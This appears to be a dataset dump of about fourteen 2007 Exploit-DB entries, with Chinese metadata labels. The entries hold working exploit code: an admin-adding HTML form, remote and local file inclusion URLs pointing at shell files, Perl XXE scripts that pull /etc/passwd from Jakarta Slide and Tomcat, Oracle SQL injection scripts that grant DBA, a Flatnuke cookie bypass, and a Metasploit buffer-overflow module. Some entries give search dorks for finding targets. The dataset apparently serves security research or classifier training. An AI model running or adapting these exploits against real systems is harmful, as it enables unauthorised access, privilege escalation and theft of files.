QLWD/code_shield huggingface dataset:
标题: PHP-AGTC Membership System 1.1a - Remote Add Admin EDB-ID: 4589 CVE: 2007-5752 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-30 漏洞利用脚本: <!--
- Product : AGTC-Membership system
- Version : 1.1a
- Website : http://www.agtc.co.uk
- Author  : 0x90
- Homepage: WwW.0x90.CoM.Ar
- Contact : Guns[at]0x90[dot]com[dot]ar
- Problem : Admin Added Access.
-->

<form name="form1" method="post" action="http://[target]/adduser.php">
 <h3 align="center">AGTC-Membership system v1.1a (adduser) Remote Add
Admin Exploit</h3>
  <table width="40%" border="1" align="center" bordercolor="#000000">
    <tr>
      <td width="20%"><div align="right"><strong>User Name:</strong></div></td>
      <td width="40%"><input name="username" type="text" id="username" value="" maxlength="15"></td>
    </tr>
    <tr>
      <td><div align="right"><strong>Password:</strong></div></td>
      <td><input name="userpass" type="password" id="userpass" value="" maxlength="15"></td>
    </tr>
<tr>
      <td><div align="right"><strong>Email Address:</strong></div></td>
      <td><input name="useremail" type="text" id="useremail" value="" maxlength="25"></td>
    </tr>
      <input name="userlevel" type="hidden" id="userlevel" value="4">
     <tr>
      <td>&nbsp;</td>
      <td><input type="submit" name="Submit" value="Add User">
        <input type="reset" name="Submit2" value="Reset"></form></td>
    </tr>
  </table>

# milw0rm.com [2007-10-30] URL: https://www.exploit-db.com/exploits/4589
标题: GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions EDB-ID: 4575 CVE: 2007-5786 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-27 漏洞利用脚本: #################################################################################
#  GoSamba 1.0.1 (include_path) Multiple Remote File Inclusion Vulnerabilities
#  http://mesh.dl.sourceforge.net/sourceforge/gosamba/gosamba.1.0.1.tar.gz
#  POC :
#  /inc_group.php?include_path=http://localhost/scripts/020.txt?
#  /inc_manager.php?include_path=http://localhost/scripts/020.txt?
#  /inc_newgroup.php.php?include_path=http://localhost/scripts/020.txt?
#  /inc_smb_conf.php?include_path=http://localhost/scripts/020.txt?
#  /inc_user.php?include_path=http://localhost/scripts/020.txt?
#  /main.php?include_path=http://localhost/scripts/020.txt?
#  /include/HTML_oben.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe1.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe3.php?include_path=http://localhost/scripts/020.txt?
#################################################################################

# milw0rm.com [2007-10-27] URL: https://www.exploit-db.com/exploits/4575
标题: Jakarta Slide 2.1 RC1 - Remote File Disclosure EDB-ID: 4567 CVE: 2007-5731 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-10-24 漏洞利用脚本: #!/usr/bin/perl
#******************************************************
# Jakarta Slide Remote File Disclosure Zeroday Xploit
# eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
 print "Jakarta Slide Remote File Disclosure Zeroday Xploit\n";
 print "eliteb0y / 2007\n";
 print "usage: perl JAKARTAXPL <remotehost> <slide file> <file to retrieve> [username] [password]\n";
 print "example: perl JAKARTAXPL www.hostname.com /slide/users/guest /etc/passwd guest guest\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto    => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL = 
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Jakarta Slide Remote File Disclosure Zeroday Xploit\n";
print "eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth"; 
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
 print;
}

# milw0rm.com [2007-10-24] URL: https://www.exploit-db.com/exploits/4567
标题: TikiWiki 1.9.8.1 - Local File Inclusion EDB-ID: 4568 CVE: 2007-5684 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-25 漏洞利用脚本: ======================================================================
TikiWiki <= 1.9.8.1 Local File Inclusion
======================================================================

Author:          L4teral <l4teral [4t] gmail com>
Impact:          Local File Inclusion
Status:          patch available


------------------------------
Affected software description:
------------------------------

Application:     TikiWiki
Version:         <= 1.9.8.1
Vendor:          http://tikiwiki.org

Description:
TikiWiki (Tiki) is your Groupware/CMS (Content Management System) solution.


--------------
Vulnerability:
--------------

1.
The script db/tiki-db.php is vulnerable to local file inclusion attacks.

2.
The script tiki-imexport_languages.php is vulnerable to local file inclusion attacks.


------------
PoC/Exploit:
------------

1.
register_globals required:
http://localhost/tikiwiki/tiki-index.php?error_handler_file=/etc/passwd
http://localhost/tikiwiki/tiki-index.php?local_php=/etc/passwd

2.
feature lang_use_db(use database for translation) must be activated:
URL: http://localhost/tikiwiki/tiki-imexport_languages.php
POSTDATA: imp_language=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&import=import


---------
Solution:
---------

update to 1.9.8.2 or above:
https://sourceforge.net/project/showfiles.php?group_id=64258&package_id=112134&release_id=549549

---------
Timeline:
---------

23.10.2007 - vendor informed
25.10.2007 - vendor released patch
25.10.2007 - public disclosure

# milw0rm.com [2007-10-25] URL: https://www.exploit-db.com/exploits/4568
标题: Oracle 10g - 'CTX_DOC.MARKUP' SQL Injection EDB-ID: 4564 CVE: 2007-5508 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-10-23 漏洞利用脚本: /******************************************************************/
/******* Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit **********/
/******************************************************************/
/************ sploit grant DBA to unprivileged user ***************/
/******************************************************************/
/******************  BY Sh2kerR (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  October 23, 2007              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*        David Litchfield [ davidl@ngssoftware.com ]             */
/*        Reported: 6 June 2005                                   */
/*        Date of Public Advisory: October 17, 2007               */
/*        Advisory number: #NISR17102007A                         */
/*                                                                */
/******************************************************************/

select * from user_role_privs;


CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
COMMIT;
RETURN '';
END;
/


set serveroutput on

create table mark_tab (id number primary key, text varchar2(80) );

insert into mark_tab values ('1', 'All your bases are belong to US');

create index mark_tab_idx on mark_tab(text)
        indextype is ctxsys.context parameters
        ('filter ctxsys.null_filter');


SET SERVEROUTPUT ON;
DECLARE
     mklob CLOB;
     amt NUMBER := 40;
     line VARCHAR2(80);
     BEGIN
       CTX_DOC.MARKUP('mark_tab_idx','1',''||scott.HACKIT()||'', mklob);
       DBMS_LOB.READ(mklob, amt, 1, line);
       DBMS_OUTPUT.PUT_LINE('QWRvcmUuVS5NeS5TdGFy'||line);
       DBMS_LOB.FREETEMPORARY(mklob);
       END;
     /


select * from user_role_privs;

/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/

// milw0rm.com [2007-10-23] URL: https://www.exploit-db.com/exploits/4564
标题: Flatnuke 3 - Remote Cookie Manipulation / Privilege Escalation EDB-ID: 4562 CVE: 2007-5772 2007-5771 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-23 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org       Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Flatnuke3 Remote Cookie Manipoulation / Privilege Escalation

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When an user log in, flatnuke set him a cookie value like this: 
myforum=nomeuser. If we try to change it, flatnuke will ask us to log in 
again. The code is: 


$req = $_SERVER["REQUEST_URI"];
if (strstr($req, "myforum="))
die(_NONPUOI);

So, we can bypass this filter, using nullbyte and login as admin. For example, Replace: 

myforum=yourusername 

with: 

myforum%00=adminusername

PHP Execution PoC:

I saw that in download module, if we set to "1" the fneditmode, we can 
make directory. So, we can write a description for the directory, and 
this description will be saved in 
/Download/[Dir_Name]/description.it.php . Yes, we can insert php code in 
the description and it will be execute! Nice, dontcha? :P 

---------------------------------------------------------------

# milw0rm.com [2007-10-23] URL: https://www.exploit-db.com/exploits/4562
标题: Oracle 10g/11g - 'SYS.LT.FINDRICSET' SQL Injection (1) EDB-ID: 4570 CVE: 2007-5511 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-10-27 漏洞利用脚本: #!/usr/bin/perl
#
# http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricset.pl
#
# Oracle SYS.LT.FINDRICSET exploit (11g/10g)
#
# Grant or revoke dba permission to unprivileged user
# 
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.5.0"
#
# Fixed with CPU Oct. 2007
# 
#   REF:    Thanks to Joxean Koret and his excellent Inguma 
#     http://sourceforge.net/projects/inguma
#   
#   AUTHOR: Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Fri Oct 26 15:03:46 CEST 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
# 
#
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from SFIGATO...
#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM SFIGATO"] at sys-lt-findricset.pl line 86.
#  [-] Done!
# 
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -g
#  [-] Wait...
#  [-] Creating evil function...
#  [-] Go...
#  [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from SFIGATO...
#  [-] Done!
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user
    [-P     <port>     Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
 AUTHID CURRENT_USER AS 
 PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
 EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; 
 RETURN(0);
END;
} );
 
print "[-] Go...\n";
my $sth = $dbh->prepare( qq{
BEGIN
  SYS.LT.FINDRICSET('.''||$user.own||'''')--','x');
END;});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;

# milw0rm.com [2007-10-27] URL: https://www.exploit-db.com/exploits/4570
标题: PHP-Nuke platinum 7.6.b.5 - Remote File Inclusion EDB-ID: 4563 CVE: 2007-5676 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-23 漏洞利用脚本: ----------------------------------------------
GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEaTs To
----------------------------------------------
 A2J, Chucks, The Pitbull, ICQBomber, str0ke
----------------------------------------------
BiG sHoUt OuT tO udplink.net & ascnet.biz :)
----------------------------------------------



Vulnerability Type: Remote File Inclusion
Vulnerable file: /Platinum 7.6.b.5 Php_Nuke_Fusion/public_html/modules/Forums/favorites.php
Exploit URL: http://localhost/Platinum 7.6.b.5 Php_Nuke_Fusion/public_html/modules/Forums/favorites.php?nuke_bb_root_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: nuke_bb_root_path
Line number: 24
Lines:

----------------------------------------------
$phpbb_root_path = 'modules/Forums/';
include($nuke_bb_root_path . 'extension.inc');
include($nuke_bb_root_path . 'common.'.$phpEx);

----------------------------------------------

----------------------------------------------
FoUnD By BiNgZa AKA RaZor
----------------------------------------------
DoRk:Powered by Platinum 7.6.b.5
----------------------------------------------
shadowcrew@hotmail.co.uk
----------------------------------------------
shadow.php0h.com
----------------------------------------------

# milw0rm.com [2007-10-23] URL: https://www.exploit-db.com/exploits/4563
标题: PHP Image 1.2 - Multiple Remote File Inclusions EDB-ID: 4565 CVE: 2007-5697 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-23 漏洞利用脚本: PHP Image v1.2 Multiple Remote File Inclusion

Download: http://www.phpimage.co.uk/phpimage_v_1_2.zip

Bug found by Civi

Vuln code in xarg_corner.php, xarg_corner_bottom.php, xarg_corner_top.php:

<td style="background-image: url(images/cor_top_fill.jpg);"><?php include($xarg); ?></td>

POC:

http://site/xarg_corner.php?xarg=http://shell.php?
http://site/xarg_corner_bottom.php?xarg=http://shell.php ?
http://site/xarg_corner_top.php?xarg=http://shell.php?


[Original Post: forum.darkc0de.com]

Tnx to: d3hydr8, str0ke

# milw0rm.com [2007-10-23] URL: https://www.exploit-db.com/exploits/4565
标题: eIQnetworks ESA SEARCHREPORT - Remote Overflow (Metasploit) EDB-ID: 4566 CVE: 2007-5699 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-24 漏洞利用脚本: ##
# $Id: eiqnetworks_esa.rb 4529 2007-03-12 01:08:18Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Eiqnetworks_SEARCHREPORT < Msf::Exploit::Remote

 include Exploit::Remote::Tcp
 include Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eIQNetworks ESA SEARCHREPORT Overflow',
   'Description'    => %q{
    This module exploits a stack overflow in eIQnetworks
    Enterprise Security Analyzer. During the processing of
    long arguments to the SEARCHREPORT command, a stack-based
    buffer overflow occurs. 
   },
   'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>',   ],
   'Version'        => '$Revision: 4529 $',
   'References'     => 
    [
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1962,
     'BadChars' => "\x00",
     'ActiveTimeout' => 15,
    },
   'Platform'       => 'win',
   
   'Targets'        =>
    [
     ['EnterpriseSecurityAnalyzer v2.5 Universal', { 'Ret' => 0x55322a6a, 'Offset' => 1962 } ],  
    
    ],

   'Privileged'     => false,

                        'DisclosureDate' => ''

                        ))

   register_options(
   [
    Opt::RPORT(10616)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")
 
  hunter = generate_egghunter()
  egg = hunter[1]
  filler =  make_nops(target['Offset'] - payload.encoded.length)
  sploit =  "SEARCHREPORT&" + egg + egg + filler + payload.encoded + make_nops(12) + [target.ret].pack('V') + make_nops(12) + hunter[0] +  "&";
  puts sploit
  sock.put(sploit)
  handler
  disconnect 
 end

end
end

# milw0rm.com [2007-10-24] URL: https://www.exploit-db.com/exploits/4566
标题: InstaGuide Weather Script 1.0 - 'index.php' Local File Inclusion EDB-ID: 4558 CVE: 2007-5674 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: Weather for PHP <= (PageName) Local File Include Vulnerability

Script : Weather for PHP

Version : 1.0

Download : http://www.instaguide.com/download/weather_free.zip
 
AUTHOR : BorN To K!LL

Vuln Code :

$PageName = $_GET['PageName'];     //// this is one ... :)

include("includes/content/$PageName.php")   //// this is two ... :)

Exploit :

[path]/index.php?PageName[Local File]%00

Greetings :

str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ...

BorN To K!LL <> Dr.2 = 4ever .... =D

# milw0rm.com [2007-10-22] URL: https://www.exploit-db.com/exploits/4558
标题: TOWeLS 0.1 - 'scripture.php' Remote File Inclusion EDB-ID: 4555 CVE: 2007-5628 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: TOWeLS version 0.1 (scripture.php) Remote File Inclusion Vulnerability
http://sourceforge.net/project/showfiles.php?group_id=126659 / towels-0.1.zip /
/towels-0.1/src/scripture.php?pageHeaderFile=http://localhost/shell.txt?

# milw0rm.com [2007-10-22] URL: https://www.exploit-db.com/exploits/4555
标题: Apache Tomcat - WebDAV SSL Remote File Disclosure EDB-ID: 4552 CVE: 2007-5461 类型: REMOTE 平台: LINUX 发布日期: 2007-10-21 漏洞利用脚本: #!/usr/bin/perl
#================================================================
# Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL
# MoDiFiEd version by  : h3rcul3s 
# ORiGiNaL Version by  : kcdarookie aka eliteb0y / 2007  http://milw0rm.org/exploits/4530
# MoDiFiCaTiOn        : This code is useble against targets over SSL
# Prerequisites        : A valid login credentials, webdav 
# DoRk                 : intitle:"Directory Listing For /" + inurl:webdav tomcat 
# Potential targets    : similar to https://www.somehost.com:8443
#================================================================
# THaNkS To eliteb0y, the whole team AnD "perlmonks".
# This piece of code is written ONLY for educational purpose. 
# Use it at your own risk. 
# No author will be responsible for any damage.
#================================================================
# -------------------------[C O D E]-----------------------------
#================================================================
use LWP::Protocol::https;
use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE--------------------------------------------
$remoteport = 8443;

sub usage {
       print "\nApache Tomcat Remote File Disclosure Zeroday Xploit\n";
       print "\n\n";
       print "Basic exploit by      : kcdarookie aka eliteb0y / 2007\n";
       print "SSL Support added by  : .o0|h 3 r c u l 3 s|0o. \n";
       print "\n\n";
       print "USAGE  :\nperl  TOMCATXPL-SSL <remotehost> <webdav file> <file to retrieve> [username] [password] [https]\n";
       print "\nExample:\nperl TOMCATXPL-SSL www.hostname.com /webdav /etc/passwd tomcat tomcat https\n\n";exit;
           }

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];
$username = $ARGV[3];
$password = $ARGV[4];

my $sock = LWP::Protocol::https::Socket->new(PeerAddr => $hostname,
     PeerPort => $remoteport,
                        Proto    => 'tcp');
$|=1;

$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "\nApache Tomcat Remote File Disclosure Zeroday Eploit-SSL verssion\n";
print "\n";
print "Launching Remote Exploit over SSL...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
       print;
}

# milw0rm.com [2007-10-21] URL: https://www.exploit-db.com/exploits/4552